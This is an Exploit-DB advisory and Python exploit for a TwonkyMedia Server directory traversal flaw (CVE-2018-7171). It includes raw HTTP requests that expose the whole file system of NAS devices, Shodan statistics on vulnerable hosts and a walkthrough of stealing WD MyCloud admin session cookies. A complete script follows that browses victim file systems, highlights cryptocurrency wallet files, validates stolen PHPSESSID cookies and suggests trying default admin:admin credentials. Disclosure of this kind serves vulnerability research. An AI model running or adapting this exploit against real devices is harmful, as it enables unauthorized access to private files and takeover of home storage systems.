标题: TwonkyMedia Server 7.0.11-8.5 - Directory Traversal EDB-ID: 44350 CVE: 2018-7171 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2018-03-28 漏洞利用脚本: '''
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1. About

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# Exploit Title: TwonkyMedia Server 7.0.11-8.5 Directory Traversal
# Date: 2018-03-27
# Exploit Author: Sven Fassbender
# Contact: https://twitter.com/mezdanak
# Vendor Homepage: http://www.lynxtechnology.com/home
# Software Link: https://twonky.com/downloads/index.html
# Version: 7.0.11-8.5
# CVE : CVE-2018-7171
# Category: webapps

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2. Background information

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"With Twonky from Lynx Technology, you can quickly discover your media libraries of digital videos, 
photos and music in your home, control them from mobile devices, and enjoy them on connected screens and speakers.

Twonky Server is the industry leading DLNA/UPnP Media Server from Lynx Technology that enables sharing media content 
between connected devices. Twonky Server is used worldwide and is available as a standalone server 
(end user installable, e.g. for PCs/Macs) or an embedded server for devices such as NAS, routers/gateways and STBs.

Twonky Server’s web UI provides optimal capability for you to easily and reliably control and play back your 
media files in a variety of ways, and to “beam” those media files to other connected devices." --extract from https://twonky.com

Previous similar vulnerabilities:
    https://packetstormsecurity.com/files/112227/PacketVideo-TwonkyServer-TwonkyMedia-Directory-Traversal.html
Fix:
    https://docs.twonky.com/display/TRN/Twonky+Server+7.0.x

Statistics:
    Around 20800 TwonkyMedia Servers public available listed on shodan.io worldwide. (https://www.shodan.io/search?query=twonky)
    Rarely protected by password (only around 2%).
    
Top Countries:
 1. United States
 2. Germany
 3. Korea
 4. Russian Federation
 5. France
 6. Italy
 7. Taiwan
 8. Poland
 9. Hungary
 10. United Kingdom

TwonkyMedia Server seems too be pre installed on a huge range of NAS devices. For example the following NAS devices:
    Thecus N2310
    Thecus N4560
    WDMyCloud, 
    MyCloudEX2Ultra, 
    WDMyCloudEX4, 
    WDMyCloudEX2100, 
    QNAP, 
    Zyxel NAS326,
    Zyxel NAS542,
    Zyxel NSA310, 
    Zyxel NSA310S,
    Zyxel NSA320,
    Zyxel NSA325-v2
    ...

Other devices:
    Belkin routers
    Zyxel EMG2926-Q10A
    ...

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3. Vulnerability description

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TwonkyMedia Server has a function which allows browsing parts of the file system, that are marked as shares by the user.
By setting the "contentdir" parameter to "/../" with the rpc call "set_all", an attacker can discover the filesystem outside of the user specified shares:
HTTP request:
 POST /rpc/set_all HTTP/1.1
 Host: 192.168.188.9:9000
 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0) Gecko/20100101 Firefox/57.0
 Accept: */*
 Accept-Language: de,en-US;q=0.7,en;q=0.3
 Accept-Encoding: gzip, deflate
 Referer: http://192.168.188.9:9000/
 Content-Type: application/x-www-form-urlencoded
 X-Requested-With: XMLHttpRequest
 Content-Length: 228
 Connection: close

 contentdir=/../


Now one can discover the file system with requests like the following:
HTTP request:
 GET /rpc/dir?path=/ HTTP/1.1
 Host: 192.168.188.9:9000
 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0) Gecko/20100101 Firefox/57.0
 Accept: */*
 Accept-Language: de,en-US;q=0.7,en;q=0.3
 Accept-Encoding: gzip, deflate
 Referer: http://192.168.188.9:9000/webconfig
 X-Requested-With: XMLHttpRequest
 Connection: close

  
HTTP response:
 HTTP/1.1 200 OK
 Content-Type: text/html; charset=utf-8
 Content-Language: en
 Content-Length: 128
 Date: Sat, 03 Feb 2018 09:31:28 GMT
 Accept-Ranges: bytes
 Connection: close
 Expires: 0
 Pragma: no-cache
 Cache-Control: no-cache
 EXT:
 Server: Linux/2.x.x, UPnP/1.0, pvConnect UPnP SDK/1.0, Twonky UPnP SDK/1.1

 001D/
 002D/bin
 003D/boot
 004D/CacheVolume
 005D/DataVolume
 006D/dev
 007D/etc
 008D/home
 009D/lib
 010D/media
 011D/mnt
 012D/nfs
 013D/opt
 014D/proc
 015D/root
 016D/run
 017D/sbin
 018D/shares
 019D/srv
 020D/sys
 021D/system
 022D/tmp
 023D/usr
 024D/var

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4. Proof of Concept

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https://github.com/mechanico/sharingIsCaring/blob/master/twonky.py

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5. Attack Scenarios

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- TwonkyMedia Server path traversal vs. WD MyCloud

 Files with filename representing PHPSESSID admin cookie's were discovered in the /tmp/ directory of a WDMyCloud NAS device:

 $ python twonky.py 192.168.188.9 9000
 https://www.shodan.io/host/192.168.188.9
 *** Port 9000 opened ***
 Run Twonky browser on port 9000 [Y, N]? [Y]
 *** Get Serverdetails from Twonky ***
 Server Name: WDMyCloud
 Serverplatform: armel_gcc473_glibc215_64k
 Pictures shared: 0
 Videos shared: 0
 Twonky Version: 7.2.9-6
 Build date: 03/25/2015 (mm/dd/yyyy)
 *** 'contentbase' path set to '/'' ***
 path nr:
 ------------------------------
 [...]
 022 Dir /tmp
 [...]
 ------------------------------
 path nr: 022
 ------------------------------
 [...]
 059 Fil sess_c61ufnntn31o2ovuj0ncf8fkp1
 [...]
 Valid WDMyCloud cookie discovered: {'PHPSESSID': 'c61ufnntn31o2ovuj0ncf8fkp1'}
 ------------------------------
 path nr:

 This cookie can be used to access the WDMyCloud Rest-Api. (http://ip/api/2.1/rest/...)
 With this access an attacker can e.g., create/modify users, download all files accessible by the user, update Firmware, ...


- TwonkyMedia Server path traversal vs. privacy

 People may store sensitive information on their NAS devices.
 Such as:
  - Business information
  - Health records
  - Passwords
  - Credit Cards
  - Passports
  - Currcillum Vitaes
  - Invoices Business/Private
  - "Private" photos
  - Illegal material
  - ...


- DMCA protected information

 There maybe also DMCA protected information public available. 
 Such as:
  - Movies
  - Music

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6. Fix

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All TwonkyMedia Server versions between 7.0.11 -> 8.5 have been tested as vulnerable. 
While writing this advisory 8.5 is the latest version available:
https://twonky.com/downloads/index.html

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'''

import urllib3
import sys
import socket
import requests
from colorama import init, Fore

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
init(autoreset=True)

# Extend KEYWORDS, list if you want. This will highlight files and directory names that include a keyword.
KEYWORDS = ["CRYPTO", "CRIPTO", "BITCOIN", "WALLET"]
def keywordDetector(line):
        for keyword in KEYWORDS:
                if line.upper().find(keyword) != -1:
                        return True
        return False
def checkPort(host, port):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
                s.connect((host,int(port)))
                s.settimeout(2)
                s.shutdown(2)
                return True
        except:
                return False

def setContentBase(host, port):
        payload = "\ncontentbase=/../\n"
        url = "http://{0}:{1}/rpc/set_all".format(host, port)
        try:
                response = requests.post(url, data=payload, timeout=5)
        except requests.exceptions.ReadTimeout:
                print (Fore.RED + "*** Timeout while setting contentbase path to '/' ***")
        except requests.exceptions.ChunkedEncodingError:
                print (Fore.RED + "*** 'contentbase' cannot be modified, password protection active ***")
                sys.exit()
        except requests.exceptions.ConnectionError:
                url = "https://{0}:{1}/rpc/set_all".format(host, port)
                response = requests.post(url, data=payload, timeout=5, verify=False)
        if response.status_code != 200:
                print (Fore.RED + "*** 'contentbase' cannot be modified, password protection active ***")
                print (Fore.YELLOW + "*** You should try to login with admin:admin (default creds) ***")
                sys.exit()
        else:
                print (Fore.MAGENTA + "*** 'contentbase' path set to '/'' ***")
                return True

def serverInfo(host, port):
        print (Fore.MAGENTA + "*** Get Serverdetails from Twonky ***")
        try:
                url = "http://{0}:{1}/rpc/get_friendlyname".format(host, port)
                friendlyname = requests.get(url, timeout=5)
        except requests.exceptions.ConnectionError:
                url= "https://{0}:{1}/rpc/get_friendlyname".format(host, port)
                friendlyname = requests.get(url, timeout=5, verify=False)
        if friendlyname.status_code == 200:
                print (Fore.GREEN + "Server Name: {0}".format(friendlyname.text))
        else:
                print (Fore.RED + "*** Not authorized to edit settings, password protection active ***")
                sys.exit()
        try:
                url = "http://{0}:{1}/rpc/info_status".format(host, port)
                infoStatus = requests.get(url, timeout=5)
        except requests.exceptions.ConnectionError:
                url = "https://{0}:{1}/rpc/info_status".format(host, port)
                infoStatus = requests.get(url, timeout=5, verify=False)
        for line in infoStatus.iter_lines():
                if line :
                        if line.find("version") != -1:
                                lineSplited = line.split("|")
                                versionNumber = lineSplited[1]
                                print (Fore.GREEN + "Twonky Version: {0}".format(versionNumber))
                        elif line.find("serverplatform") != -1:
                                lineSplited = line.split("|")
                                serverPlatform = lineSplited[1]
                                print (Fore.GREEN + "Serverplatform: {0}".format(serverPlatform))
                        elif line.find("builddate") != -1:
                                lineSplited = line.split("|")
                                buildDate = lineSplited[1]
                                print (Fore.GREEN + "Build date: {0}".format(buildDate))
                        elif line.find("pictures") != -1:
                                lineSplited = line.split("|")
                                pictureCount = lineSplited[1]
                                print (Fore.GREEN + "Pictures shared: {0}".format(pictureCount))
                        elif line.find("videos") != -1:
                                lineSplited = line.split("|")
                                videoCount = lineSplited[1]
                                print (Fore.GREEN + "Videos shared: {0}".format(videoCount))
        return versionNumber

def checkSessionCookie(host, cookieString):
        url = "http://{0}/api/2.1/rest/device_user".format(host)
        cookieTemp = cookieString.split("_")
        cookie = {'PHPSESSID': cookieTemp[1]}
        response = requests.get(url, timeout=10, cookies=cookie)
        if response.status_code == 200:
                return cookie
        else:
                return False

def browser(host, port, version):
        while True:
                var = raw_input("path nr: ")
                if var != "exit" :
                        if version[0] == "8":
                                url = "http://{0}:{1}/rpc/dir?path={2}".format(host, port, var)
                        else:
                                url = "http://{0}:{1}/rpc/dir/path={2}".format(host, port, var)
                        try:
                                response = requests.get(url, timeout=5)
                        except requests.exceptions.ConnectionError:
                                if version[0] == "8":
                                        url = "https://{0}:{1}/rpc/dir?path={2}".format(host, port, var)
                                else:
                                        url = "https://{0}:{1}/rpc/dir/path={2}".format(host, port, var)
                                response = requests.get(url, timeout=5, verify=False)
                        print "-" * 30
                        validCookieString = ""
                        for line in response.iter_lines():
                                if line :
                                        if len(line) > 3:
                                                if line[3] == "D":
                                                        line = line[:4].replace("D", " Dir ") + line[4:]
                                                        if keywordDetector(line[4:]):
                                                                print (Fore.RED + line)
                                                        else:
                                                                print (Fore.GREEN + line)
                                                elif line[3] == "F":
                                                        line = line[:4].replace("F", " Fil ") + line[4:]
                                                        if keywordDetector(line[4:]):
                                                                print (Fore.RED + line)
                                                        elif line[8:13] == "sess_":
                                                                print line
                                                                validCookie = checkSessionCookie(host, line[8:])
                                                                if validCookie != False:
                                                                        validCookieString = validCookie
                                                        else:
                                                                print line
                                                else:
                                                        print line
                        if len(validCookieString) >= 1:
                                print (Fore.RED + "Valid WDMyCloud cookie discovered: {0}".format(validCookieString))
                        print "-" * 30
                elif var == "exit":
                        sys.exit()

#*** Program start here ***
if __name__ == '__main__':
        if len(sys.argv) != 3:
                print "Usage: $ " + sys.argv[0] + " [IP_adress] [port]"
        else:
                host = sys.argv[1]
                print (Fore.MAGENTA + "https://www.shodan.io/host/{0}".format(host))
                port = sys.argv[2]
                if checkPort(host, port):
                        print (Fore.GREEN + "*** Port {0} opened ***".format(port))
                        twonky = raw_input("Run Twonky browser on port {0} [Y, N]? [Y] ".format(port))
                        if twonky.upper() != "N":
                                version = serverInfo(host, port)
                                if setContentBase(host, port):
                                        browser(host, port, version) URL: https://www.exploit-db.com/exploits/44350